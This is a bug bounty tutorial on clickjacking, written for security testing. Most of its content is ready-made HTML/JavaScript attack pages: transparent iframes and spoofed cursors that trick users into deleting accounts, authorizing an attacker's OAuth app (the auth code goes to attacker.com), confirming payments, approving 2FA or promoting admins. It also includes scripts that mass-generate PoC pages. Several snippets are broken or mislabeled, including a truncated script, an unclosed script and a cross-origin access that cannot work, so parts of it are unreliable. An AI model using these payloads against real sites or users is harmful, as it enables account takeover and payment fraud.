



CLICKJACKING

Bug Bounty Hunting Guide

UI Redressing | Frame Busting | Advanced Exploitation

Account Takeover | OAuth Hijack | Payment Fraud

2025 Edition

Table of Contents

- 1. Introduction to Clickjacking
- 2. Basic Clickjacking
- 3. X-Frame-Options Bypasses
- 4. CSP frame-ancestors Bypasses
- 5. Advanced Techniques
 - 5.1 Cursor Spoofing
 - 5.2 Multi-Step UI Redress
 - 5.3 Drag-and-Drop Hijacking
 - 5.4 File Upload Clickjacking
 - 5.5 Payment Flow Hijacking
 - 5.6 OAuth / SSO Hijacking
 - 5.7 2FA / MFA Bypass
 - 5.8 Scroll-Jacking & Viewport
- 6. High Impact Scenarios
- 7. Tools & Automation
- 8. One-Liners
- 9. Report Templates
- 10. Tips & Tricks

1. Introduction to Clickjacking

Clickjacking (UI Redressing) tricks a user into clicking something different from what they perceive. By embedding the target application in a transparent iframe, attackers overlay deceptive UI elements. When the user clicks what appears to be a harmless button, they actually trigger an action on the framed target.

Why Clickjacking is Still Relevant

Despite X-Frame-Options and CSP, clickjacking remains exploitable due to: missing headers on specific endpoints, weak header values, browser quirks, and increasingly sophisticated UI manipulation. Modern clickjacking targets OAuth flows, payment confirmations, and MFA prompts - all high-value interactions.

Attack Variant	Severity	Impact
Basic Button Hijack Medium	P3/P4	Unwanted action (like, follow, subscribe)
Account Deletion High	P2	Permanent data loss
Admin Action Hijack Critical	P1/P2	Privilege escalation, system compromise
OAuth / SSO Hijack Critical	P1/P2	Account takeover via connected apps
Payment Fraud Critical	P1/P2	Financial loss, unauthorized purchases
2FA / MFA Bypass High	P2	Authentication bypass
File Upload Hijack High	P2	Malware distribution, data exfiltration
Drag-and-Drop Medium	P3	Data transfer, configuration changes

2. Basic Clickjacking

Detection

```
# Check for X-Frame-Options
curl -s -I https://target.com/ | grep -i "x-frame-options"

# Check for Content-Security-Policy frame-ancestors
curl -s -I https://target.com/ | grep -i "content-security-policy"

# Check if iframe is allowed
curl -s -o /dev/null -w "%{http_code}" \
  -H "Origin: https://evil.com" \
  -H "Referer: https://evil.com" \
  https://target.com/

# Test specific endpoints (login, settings, admin)
for endpoint in / /login /settings /admin /api /delete; do
  echo "=== $endpoint ==="
  curl -s -I "https://target.com$endpoint" | grep -iE "x-frame-options|content-security-policy"
done

# Missing XFO on iframe-specific endpoint
curl -s -I https://target.com/embed/video | grep -i "x-frame-options"
curl -s -I https://target.com/widget | grep -i "x-frame-options"
curl -s -I https://target.com/api/frame | grep -i "x-frame-options"

# Check if XFO is set but weak
curl -s -I https://target.com/ | grep -i "x-frame-options"
# ALLOW-FROM is deprecated and not supported by all browsers
curl -s -I https://target.com/ | grep -i "allow-from"

# Check CSP for frame-ancestors
curl -s -I https://target.com/ | grep -i "frame-ancestors"
# frame-ancestors 'self' is good
# frame-ancestors * is vulnerable
# Missing frame-ancestors relies on XFO only
```

Basic PoC

```
# Basic clickjacking PoC
# Save as poc.html and host on attacker.com

<!DOCTYPE html>
<html>
<head>
<style>
body { margin: 0; }
#target {
  position: absolute;
  top: 0; left: 0;
  width: 100%; height: 100%;
  opacity: 0.01;
  z-index: 1;
}
#button {
  position: absolute;
  top: 100px; left: 100px;
  z-index: 2;
  padding: 20px;
  background: #4CAF50;
  color: white;
  font-size: 18px;
  cursor: pointer;
}
</style>
</head>
<body>
<iframe id="target" src="https://target.com/action/delete"></iframe>
<div id="button">Click to Win!</div>
</body>
</html>

# Transparent iframe with visible overlay button
# The victim clicks "Click to Win!" but actually clicks the
# delete button inside the iframe at the same coordinates

# Opacity trick variants:
# opacity: 0.01 - barely visible
# opacity: 0 - fully invisible
# visibility: hidden - element hidden but clickable (rare)
# pointer-events: none on overlay - lets clicks pass through
```

3. X-Frame-Options Bypasses

XFO Value	Vulnerable?	Bypass Method
Missing	Yes	Direct iframe embedding
DENY	No	Cannot bypass (strongest)
SAMEORIGIN	Partially	Double-framing, child document, CDN domain
ALLOW-FROM uri	Yes	Deprecated, browser-dependent, easy bypass
Invalid value	Yes	Treated as missing by some browsers

SAMEORIGIN Double-Framing Bypass

```
# When target.com has XFO: SAMEORIGIN
# And attacker.com has a subdomain attacker.target.com

# Step 1: iframe target.com from attacker.target.com
# XFO SAMEORIGIN allows framing from same origin

# On attacker.target.com/poc.html:
<iframe src="https://target.com/admin/action"></iframe>

# Step 2: iframe attacker.target.com from attacker.com
# This works because only the direct parent is checked

# On attacker.com/poc.html:
<iframe src="https://attacker.target.com/poc.html"></iframe>

# The double-frame bypass works because:
# Browser checks: target.com's parent is attacker.target.com
# attacker.target.com is same-origin as target.com (both *.target.com)
# So framing is allowed

# Requirements:
# - Attacker controls ANY subdomain of target.com
# - Subdomain takeover, XSS, or rogue subdomain
```

CDN/Cache Domain Bypass

```
# If target.com uses a CDN that also serves from cdn.target.com
# And the CDN endpoint lacks XFO

# Frame the CDN version:
<iframe src="https://cdn.target.com/admin/action"></iframe>

# Or if the CDN caches pages without XFO headers
# due to misconfigured caching rules:
curl -s -I https://cdn.target.com/ | grep -i "x-frame-options"

# CloudFlare caching behavior:
# If origin sends XFO but cache strips it
# Test with:
curl -s -I https://target.com/ | grep -i "x-frame"
curl -s -I "https://target.com/?nocache=$(date +%s)" | grep -i "x-frame"

# If query parameter bypasses cache and shows XFO is missing
# The cached version may be frameable
```

ALLOW-FROM Bypass

```
# ALLOW-FROM is deprecated and poorly supported
# Chrome ignores it entirely
# Firefox supports it but with quirks

# If target.com has:
# X-Frame-Options: ALLOW-FROM https://trusted.com

# Bypass 1: Chrome simply ignores ALLOW-FROM
# Just frame it directly in Chrome

# Bypass 2: Frame from the allowed origin that has open redirect
curl -s -I -H "Referer: https://trusted.com" https://target.com/

# Bypass 3: If trusted.com has XSS or subdomain takeover
# Use XSS on trusted.com to inject the iframe
```

Invalid/Empty XFO Value

```
# Some servers send malformed XFO headers
# Browsers may ignore invalid values and allow framing

# Empty value
curl -s -I https://target.com/ | grep -i "x-frame-options: $"

# Whitespace only
curl -s -I https://target.com/ | grep -i "x-frame-options:  $"

# Multiple conflicting values
curl -s -I https://target.com/ | grep -i "x-frame-options"
# X-Frame-Options: DENY, SAMEORIGIN (browser may pick second)

# Case sensitivity issues
curl -s -I https://target.com/ | grep -i "x-frame-options: deny"
# Some older browsers only recognize uppercase DENY

# Tab/space injection
curl -s -I https://target.com/ | grep -i "x-frame-options"
# X-Frame-Options:  DENY (leading space may be ignored)
```

4. CSP frame-ancestors Bypasses

CSP frame-ancestors	Vulnerable?	Bypass Method
Missing	Yes	Direct iframe (if XFO also missing)
'none'	No	Cannot bypass (strongest)
'self'	Partially	Same double-framing as XFO
https://*.target.com	Yes	Subdomain takeover/XSS
https://partner.com	Yes	Partner XSS/open redirect
*	Yes	Any site can frame
data:	Yes	data: URI framing
'self' blob:	Yes	blob: URI exploitation

frame-ancestors 'self' Double-Framing


```
# Identical bypass to XFO SAMEORIGIN
# Frame target.com from attacker.target.com
# Then frame attacker.target.com from attacker.com

# Step 1: Create blob URL with iframe
blob = new Blob(['<iframe src="https://target.com/admin"></iframe>'],
  {type: 'text/html'});
url = URL.createObjectURL(blob);
# Frame the blob URL - may bypass some policies
```

Weak frame-ancestors Whitelist

```
# If CSP allows *.target.com
# Attacker finds XSS on any subdomain:
curl -s -I -H "Origin: https://blog.target.com" \
  https://target.com/ | grep -i "frame-ancestors"

# If blog.target.com has XSS, use it as framing proxy:
# XSS payload on blog.target.com:
# document.write('<iframe src="https://target.com/admin"></iframe>')

# Then frame the XSS URL from attacker.com:
<iframe src="https://blog.target.com/page?xss=iframe-payload"></iframe>
```

data: and blob: URI Bypass

```
# If CSP includes data: or blob: in frame-src/frame-ancestors
# Or if default-src includes these without restricting frames

# data: URI framing
<iframe src="data:text/html,<iframe src='https://target.com/admin'></iframe>"></iframe>

# blob: URI framing
<script>
var html = '<iframe src="https://target.com/admin"></iframe>';
var blob = new Blob([html], {type: 'text/html'});
var url = URL.createObjectURL(blob);
document.write('<iframe src="' + url + '"></iframe>');
</script>

# about:blank framing with document.write
<iframe id="f" src="about:blank"></iframe>
<script>
document.getElementById('f').contentDocument.write(
  '<iframe src="https://target.com/admin"></iframe>'
);
</script>
```

CSP Header Parsing Quirks

```
# Multiple CSP headers (browser uses first or most restrictive)
curl -s -I https://target.com/ | grep -i "content-security-policy"

# If two CSP headers exist:
# Content-Security-Policy: frame-ancestors 'self'
# Content-Security-Policy: frame-ancestors *
# Chrome uses first, Firefox uses most restrictive

# Inline report-only vs enforce
curl -s -I https://target.com/ | grep -i "content-security-policy"
curl -s -I https://target.com/ | grep -i "content-security-policy-report-only"
# Report-Only doesn't block but indicates intended policy

# Missing frame-ancestors but present frame-src
curl -s -I https://target.com/ | grep -i "frame-src"
# frame-src restricts <iframe> src but NOT framing behavior
# If frame-ancestors is missing, the page can still be framed
# even with restrictive frame-src
```

5. Advanced Techniques

5.1 Cursor Spoofing

```

# The user sees a fake cursor at position A
# The real cursor is at position B (over the target button)
# This requires custom CSS to hide the real cursor and show a fake one

<!DOCTYPE html>
<html>
<head>
<style>
html, body { cursor: none !important; }
#fake-cursor {
  position: fixed;
  width: 20px; height: 20px;
  background: url('cursor.png');
  pointer-events: none;
  z-index: 9999;
}
#target-frame {
  position: absolute;
  top: -50px; left: -100px;
  opacity: 0.01;
}
</style>
</head>
<body>
<div id="fake-cursor"></div>
<div style="margin-top:200px; text-align:center; font-size:24px;">
  Click the green button to claim your prize!
</div>
<div style="position:absolute; top:250px; left:50%; margin-left:-100px;
  width:200px; height:50px; background:green; text-align:center;
  line-height:50px; color:white; cursor:none;">
  CLAIM PRIZE
</div>
<iframe id="target-frame" src="https://target.com/delete-account"
  width="1200" height="800"></iframe>

<script>
document.addEventListener('mousemove', function(e) {
  var fc = document.getElementById('fake-cursor');
  // Fake cursor offset by 150px to trick user
  fc.style.left = (e.clientX - 150) + 'px';
  fc.style.top = (e.clientY - 150) + 'px';
});
</script>
</body>
</html>

# The real cursor is hidden. Fake cursor is offset.
# User thinks they're clicking "CLAIM PRIZE" but the real click
# lands on the hidden delete account button 150px away

```

5.2 Multi-Step UI Redress

```
# Some actions require multiple clicks (confirmation dialogs)
# Overlay changes dynamically to guide user through sequence

<script>
var step = 0;
var iframe = document.getElementById('target');

function updateOverlay() {
  var overlay = document.getElementById('overlay');
  if (step === 0) {
    overlay.innerHTML = '<div style="position:absolute;top:100px;left:100px;">Click
to Start</div>';
    iframe.src = 'https://target.com/settings/delete';
  } else if (step === 1) {
    overlay.innerHTML = '<div style="position:absolute;top:200px;left:200px;">Confir
m Action</div>';
    // The confirmation button is at a different position
  } else if (step === 2) {
    overlay.innerHTML = '<div style="position:absolute;top:300px;left:300px;">Final
Confirm</div>';
  }
  step++;
}

document.addEventListener('click', updateOverlay);
</script>

# User clicks "Click to Start" -> triggers Step 1
# User clicks "Confirm Action" -> triggers Step 2
# User clicks "Final Confirm" -> triggers actual action

# Automated sequence without user awareness:
# Use JavaScript to trigger clicks on the iframe programmatically
# after the user clicks the first deceptive element

<script>
document.getElementById('fake-button').addEventListener('click', function() {
  // First click is legitimate (user intended)
  // Then programmatically click the remaining steps
  setTimeout(function() {
    var iframe = document.getElementById('target');
    iframe.contentWindow.postMessage('click_confirm', '*');
  }, 500);
});
</script>
```

5.3 Drag-and-Drop Hijacking

```

# User thinks they're dragging a file to upload area
# Actually dropping it onto hidden iframe target

<style>
#drop-zone {
  border: 3px dashed #4CAF50;
  padding: 50px;
  text-align: center;
  font-size: 20px;
  position: relative;
  z-index: 2;
}
#target {
  position: absolute;
  top: 0; left: 0;
  width: 100%; height: 100%;
  opacity: 0.01;
  z-index: 1;
}
</style>

<div id="drop-zone">Drop files here to scan</div>
<iframe id="target" src="https://target.com/upload"></iframe>

<script>
var dropZone = document.getElementById('drop-zone');
dropZone.addEventListener('dragover', function(e) {
  e.preventDefault();
  e.stopPropagation();
});
dropZone.addEventListener('drop', function(e) {
  e.preventDefault();
  e.stopPropagation();
  // The drop actually lands on the iframe behind
  // If the iframe has a drop handler, it receives the files
});
</script>

# More advanced: Data extraction via drag
# User selects text from "harmless" page
# Actually dragging data from the hidden framed target

<iframe id="target" src="https://target.com/api/secret-data"></iframe>
<script>
// Trick user into selecting text that spans across iframe
// User thinks they're selecting from the outer page
// Actually selecting sensitive data from the inner frame
</script>

```


5.4 File Upload Clickjacking

```

# Hidden file input overlay
# User clicks "Upload Photo" on attacker's page
# Actually clicks a hidden file input on target.com

<style>
#target {
  position: absolute;
  opacity: 0.01;
  top: 100px; left: 100px;
  width: 300px; height: 50px;
  z-index: 1;
}
#fake-button {
  position: absolute;
  top: 100px; left: 100px;
  width: 300px; height: 50px;
  background: #2196F3;
  color: white;
  line-height: 50px;
  text-align: center;
  font-size: 18px;
  z-index: 2;
  cursor: pointer;
}
</style>

<iframe id="target" src="https://target.com/profile/upload"></iframe>
<div id="fake-button">Upload Your Photo</div>

# When user clicks, the file dialog opens (from hidden iframe)
# User selects a file thinking it's for attacker's site
# File uploads to target.com profile

# Combined with pre-filled file input:
<script>
// Auto-trigger file selection with attacker's malicious file
var fileInput = document.createElement('input');
fileInput.type = 'file';
fileInput.addEventListener('change', function(e) {
  // Get the selected file
  var file = e.target.files[0];
  // Upload to target.com via hidden form
});
// Programmatically trigger file input
fileInput.click();
</script>

# Advanced: Clipboard hijacking
# User copies text from attacker's page

```

5.5 Payment Flow Hijacking

```
# High-value attack: trick user into confirming payment

<style>
#target {
  position: absolute;
  opacity: 0.01;
  top: 0; left: 0;
  width: 100%; height: 100%;
}
#overlay {
  position: absolute;
  top: 0; left: 0;
  width: 100%; height: 100%;
  z-index: 2;
  pointer-events: none; /* Clicks pass through to iframe */
}
#fake-confirm {
  position: absolute;
  bottom: 100px;
  left: 50%;
  margin-left: -100px;
  width: 200px;
  height: 60px;
  background: #4CAF50;
  color: white;
  text-align: center;
  line-height: 60px;
  font-size: 24px;
  pointer-events: auto; /* This element captures clicks */
}
</style>

<iframe id="target" src="https://target.com/checkout/confirm"></iframe>
<div id="overlay">
  <div style="text-align:center; padding-top:50px; font-size:30px;">
    Complete Verification to Continue
  </div>
  <div id="fake-confirm">Verify</div>
</div>

# User sees "Verify" button at bottom of screen
# Hidden iframe has payment confirmation at exact same position
# Click on "Verify" = click on "Confirm $500 Payment"

# Timing-based attack:
# Wait for iframe to fully load payment page
# Then display the overlay

<script>
var iframe = document.getElementById('target');
iframe.onload = function() {
```

5.6 OAuth / SSO Hijacking

```
# Trick user into authorizing attacker application

<style>
#target {
  position: absolute;
  opacity: 0.01;
  top: 0; left: 0;
  width: 100%; height: 100%;
}
#overlay {
  position: absolute;
  z-index: 2;
  text-align: center;
  width: 100%;
}
</style>

<iframe id="target" src="https://target.com/oauth/authorize?client_id=ATTACKER_APP&redirect_uri=https://attacker.com/callback"></iframe>
<div id="overlay">
  <h1>Login to Continue</h1>
  <div style="margin-top:200px; font-size:24px;">
    Click "Allow" to access free content
  </div>
</div>

# The OAuth consent screen has an "Allow" button
# Attacker overlay has text that aligns user to click it
# User authorizes attacker's app without realizing

# Authorization code interception:
# After click, OAuth redirects to attacker's redirect_uri
# Attacker receives authorization code
# Exchanges code for access token

# Multi-account OAuth hijacking:
# If user is logged into multiple accounts
# Hidden iframe shows account picker
# Overlay tricks user into selecting specific account
```

5.7 2FA / MFA Bypass

```
# Hijack 2FA code entry or approve prompt

# SMS/OTP entry hijack:
<iframe id="target" src="https://target.com/2fa/verify"></iframe>
<div style="position:absolute; top:150px; left:100px; z-index:2;">
  <input type="text" placeholder="Enter promo code" id="fake-input">
  <button id="fake-submit">Apply</button>
</div>

<script>
// User types 2FA code into "promo code" field
// Actually typing into hidden iframe's OTP field
// Need to sync input events:
document.getElementById('fake-input').addEventListener('input', function(e) {
  var iframe = document.getElementById('target');
  var targetInput = iframe.contentDocument.querySelector('input[name="otp"]');
  if (targetInput) targetInput.value = e.target.value;
});

// Submit button triggers actual 2FA submission
document.getElementById('fake-submit').addEventListener('click', function() {
  var iframe = document.getElementById('target');
  var form = iframe.contentDocument.querySelector('form');
  if (form) form.submit();
});
</script>

# Push notification approval hijack:
# Some 2FA uses "Approve" / "Deny" buttons
# Overlay tricks user into clicking "Approve"
<iframe id="target" src="https://target.com/2fa/push"></iframe>
<div style="position:absolute; top:200px; left:50%; margin-left:-100px;
  width:200px; height:50px; background:#4CAF50; text-align:center;
  line-height:50px; color:white; z-index:2;">
  Continue
</div>
# "Continue" is positioned exactly over "Approve" button in iframe
```

5.8 Scroll-Jacking & Viewport

```

# Force user to scroll to a specific position
# Where the hidden target button becomes clickable

<style>
#target {
  position: absolute;
  opacity: 0.01;
  top: -500px; /* Offset so target button is not visible initially */
  left: 0;
  width: 100%;
  height: 1500px;
}
#scroll-trap {
  height: 3000px;
  position: relative;
}
#fake-content {
  position: fixed;
  top: 0;
  width: 100%;
  text-align: center;
  padding: 100px;
}
</style>

<div id="scroll-trap">
  <iframe id="target" src="https://target.com/long-page-with-button"></iframe>
  <div id="fake-content">
    <h1>Scroll down to claim your reward</h1>
    <div id="reward-button" style="display:none; margin-top:50px; padding:20px;
      background:gold; font-size:24px; cursor:pointer;">
      CLAIM $1000
    </div>
  </div>
</div>

<script>
// Show reward button after scrolling
window.addEventListener('scroll', function() {
  if (window.scrollY > 500) {
    document.getElementById('reward-button').style.display = 'block';
  }
});

# The iframe is offset by -500px
# When user scrolls down 500px, the hidden iframe button
# aligns with the visible "CLAIM $1000" button
# The scroll position is where the target action button is

# Mobile viewport manipulation:
# On mobile, use viewport meta tag to zoom and pan

```


6. High Impact Scenarios

Scenario	Attack Flow	Severity
Admin Action	Hijack delete user, change role, modify settings	P1
Account Deletion	Trick user into deleting their own account	P2
OAuth Authorization	Force authorize attacker's app, grant permissions	P1
Payment Confirmation	Hijack purchase, subscription, donation	P1
2FA Disable	Trick user into disabling two-factor auth	P1
API Key Regeneration	Force regeneration, steal new key	P2
Password Change	Hijack password change to attacker-controlled	P1
Email Change	Change account email for takeover	P1
Privacy Settings	Make private content public	P2
Social Actions	Follow, like, retweet, friend request	P3

Escalating Clickjacking Impact

To maximize severity, demonstrate: account takeover potential (email/password/OAuth change), financial impact (payment flows), or admin privilege escalation. Simple "like button" clickjacking is Low/Medium. Account deletion or admin action hijacking is High/Critical.

7. Tools & Automation

Tool	Purpose	Usage
clickjacktest.com	Online iframe test	https://clickjacktest.com/
caniframethis	Header check	https://caniframethis.com/
securityheaders.com	Security header scan	https://securityheaders.com/
curl	Manual header check	<code>curl -I URL grep -i frame</code>
nuclei	Template-based scanning	<code>nuclei -u target.com -t clickjacking*</code>
Burp Suite	Manual iframe testing	Match/replace, Repeater
nikto	Header scan	<code>nikto -h target.com</code>
testssl.sh	Security scan includes headers	<code>testssl.sh target.com</code>

8. One-Liners

Mass Clickjacking Header Scan

```
# Check all endpoints for missing XFO/CSP
cat endpoints.txt | while read url; do
  resp=$(curl -s -I --max-time 10 "$url" 2>/dev/null)
  xfo=$(echo "$resp" | grep -i "x-frame-options")
  csp=$(echo "$resp" | grep -i "content-security-policy")

  if [ -z "$xfo" ] && ! echo "$csp" | grep -qi "frame-ancestors"; then
    echo "[CLICKJACKABLE] $url (No XFO, no frame-ancestors)"
  elif echo "$xfo" | grep -qi "allow-from"; then
    echo "[WEAK XFO] $url - $xfo"
  elif echo "$csp" | grep -qi "frame-ancestors \*"; then
    echo "[WEAK CSP] $url - $csp"
  fi
done | tee clickjackable.txt
```

Active bash

Iframe Test Pipeline

```
# Generate iframe test pages for vulnerable endpoints
cat clickjackable.txt | grep "CLICKJACKABLE" | awk '{print $2}' | \
  while read url; do
    safe_name=$(echo "$url" | sed 's/[^a-zA-Z0-9]/_/g')
    cat > "poc_${safe_name}.html" << EOF
<!DOCTYPE html>
<html>
<head><title>Clickjacking PoC</title></head>
<body style="margin:0;">
<iframe src="${url}" style="width:100%;height:100vh;opacity:0.01;position:absolute;
top:0;left:0;"></iframe>
<div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);padding:20px 40px;background:#4CAF50;color:white;font-size:24px;z-index:2;cursor:pointer;">
Click Here
</div>
</body>
</html>
EOF
    echo "Created poc_${safe_name}.html for $url"
  done
```

Active bash

9. Report Templates

Report Template: Basic Clickjacking

```
Clickjacking - UI Redressing on Sensitive Endpoints
Medium (P3)
https://target.com/settings/delete-account
```

The endpoint /settings/delete-account lacks X-Frame-Options and Content-Security-Policy frame-ancestors headers, allowing the page to be embedded in a malicious iframe. An attacker can trick users into deleting their accounts by overlaying deceptive UI elements.

1. Check missing headers:


```
curl -I https://target.com/settings/delete-account
# No X-Frame-Options header
# No CSP frame-ancestors directive
```
 2. Create PoC page:


```
<iframe src="https://target.com/settings/delete-account"
  style="opacity:0.01;position:absolute;width:100%;height:100%;">
</iframe>
<div style="position:absolute;top:200px;left:100px;">
  Click to claim prize!
</div>
```
 3. Host PoC on attacker.com
 4. Victim visits attacker.com and clicks "claim prize"
 5. Account deletion is triggered on target.com
- Account deletion without user intent
 - Data loss
 - User experience degradation
 - Trust erosion
1. Add X-Frame-Options: DENY or SAMEORIGIN
 2. Add CSP: frame-ancestors 'none' or 'self'
 3. Apply to all sensitive endpoints
 4. Implement frame-busting JavaScript as defense-in-depth

Report Template: High Impact Clickjacking (Admin)

Clickjacking - Admin Action Hijacking Leads to Privilege Escalation
 High (P2)
<https://target.com/admin/users/promote>

The admin panel endpoint for promoting users lacks clickjacking protection. An attacker can trick an admin into promoting a regular user to administrator by overlaying deceptive UI on the embedded admin page.

1. Verify admin panel is frameable:

```
curl -I https://target.com/admin/users/promote
```

 - # No X-Frame-Options
 - # No CSP frame-ancestors
 2. Attacker creates page targeting admin:

```
<iframe src="https://target.com/admin/users/promote?id=ATTACKER"
  style="opacity:0.01;position:absolute;width:100%;height:100%;">
</iframe>
<div style="position:absolute;z-index:2;">Approve Request</div>
```
 3. Attacker sends link to admin via phishing
 4. Admin clicks "Approve Request"
 5. Attacker's account is promoted to admin
- Privilege escalation via social engineering
 - Complete system compromise
 - Data breach potential
 - Administrative control transfer
1. X-Frame-Options: DENY on all admin endpoints
 2. CSP frame-ancestors 'none'
 3. Require additional confirmation for privilege changes
 4. Log and alert on admin actions from new IPs

Report Template: OAuth Clickjacking

```
Clickjacking - OAuth Authorization Hijacking
High (P2)
https://target.com/oauth/authorize
```

The OAuth authorization endpoint lacks frame protection, allowing an attacker to embed the consent screen in a malicious iframe. Users can be tricked into authorizing attacker-controlled applications with full account access.

1. Check OAuth endpoint headers:

```
curl -I "https://target.com/oauth/authorize?client_id=..."
# No X-Frame-Options
```

2. Create authorization hijack PoC:

```
<iframe src="https://target.com/oauth/authorize?client_id=ATTACKER"
  style="opacity:0.01;position:absolute;width:100%;height:100%;">
</iframe>
<div>Login to Continue</div>
<div style="position:absolute;bottom:100px;">Verify</div>
```

3. Victim clicks "Verify" -> authorizes attacker's app
4. Attacker receives auth code at redirect_uri
5. Exchanges for access token with full permissions

- Account takeover via authorized app
- Data theft through OAuth tokens
- Persistent access even after password change
- Third-party app trust abuse

1. Add X-Frame-Options: DENY to OAuth endpoints
2. CSP frame-ancestors 'none'
3. Use state parameter validation
4. Display client info prominently on consent screen
5. Require re-authentication for sensitive scopes

Report Template: Payment Clickjacking

Title Clickjacking - Payment Confirmation Hijacking
 Severity High (P2)
 URL https://target.com/checkout/confirm

The payment confirmation page can be framed, allowing attackers to trick users into confirming unauthorized purchases by overlaying deceptive UI elements on the embedded checkout page.

1. Verify checkout page is frameable:

```
curl -I https://target.com/checkout/confirm
```

```
# No X-Frame-Options
```
 2. Create payment hijack PoC:

```
<iframe src="https://target.com/checkout/confirm?item=expensive"
  style="opacity:0.01;position:absolute;width:100%;height:100%;">
</iframe>
<div style="position:absolute;top:300px;left:200px;">
  Claim Free Gift
</div>
```
 3. User clicks "Claim Free Gift"
 4. Clicks on hidden "Confirm \$500 Purchase" button
 5. Purchase is completed using saved payment method
- Unauthorized financial transactions
 - Customer financial loss
 - Chargeback fees for merchant
 - Regulatory compliance issues (PCI DSS)
1. X-Frame-Options: DENY on all payment flows
 2. CSP frame-ancestors 'none'
 3. Require CVV for every transaction
 4. Send email confirmation before processing
 5. Implement 3D Secure for card payments

10. Tips & Tricks

Tip 1: Check All Endpoints, Not Just the Homepage

The homepage may have XFO, but /login, /settings, /api, and /admin often don't. Always test a comprehensive list of endpoints. Use crawling tools to find all pages and test each one.

Tip 2: Test After Login

Some applications only set XFO on public pages. After authentication, sensitive settings pages may lack protection. Test both authenticated and unauthenticated states.

Tip 3: Look for Double-Framing Opportunities

If the target has XFO: SAMEORIGIN or frame-ancestors 'self', check if any *.target.com subdomain is vulnerable to XSS or takeover. Double-framing through a controlled subdomain is a valid bypass.

Tip 4: Escalate Impact with Real Actions

Don't just report "a button can be clicked." Demonstrate the most sensitive action possible: account deletion, admin promotion, OAuth authorization, or payment confirmation. Impact drives severity.

Tip 5: Create a Working PoC

A live PoC page that actually performs the action (on your own test account) is far more convincing than a theoretical description. Host it and provide the URL in your report.

Tip 6: Combine with Social Engineering

Clickjacking + phishing email = powerful attack chain. Describe this in your impact section: "An attacker sends a malicious link via email. The user clicks and unknowingly deletes their account."

Tip 7: Test Mobile Viewports

Many clickjacking protections are weaker on mobile due to viewport differences. Test your PoC on mobile devices. Mobile users may be more susceptible to full-screen iframe overlays.

Tip 8: Check for Frame-Busting JavaScript

Some sites use JavaScript frame-busting: `if(top !== self) top.location = self.location`. This can be bypassed with the sandbox attribute: `<iframe sandbox="allow-forms allow-scripts">` or using the HTML5 iframe security attribute restrictions.

Responsible Disclosure

Always test clickjacking on your own test account. Never trick real users into performing actions. Deactivate any PoC immediately after the report is acknowledged. If demonstrating payment clickjacking, use test/sandbox payment methods only.

Resource	URL
PortSwigger Clickjacking	https://portswigger.net/web-security/clickjacking
OWASP Clickjacking Defense	https://owasp.org/www-community/attacks/Clickjacking
X-Frame-Options RFC	https://tools.ietf.org/html/rfc7034
CSP frame-ancestors	https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
Clickjacking Test	https://clickjacktest.com/
Security Headers Scan	https://securityheaders.com/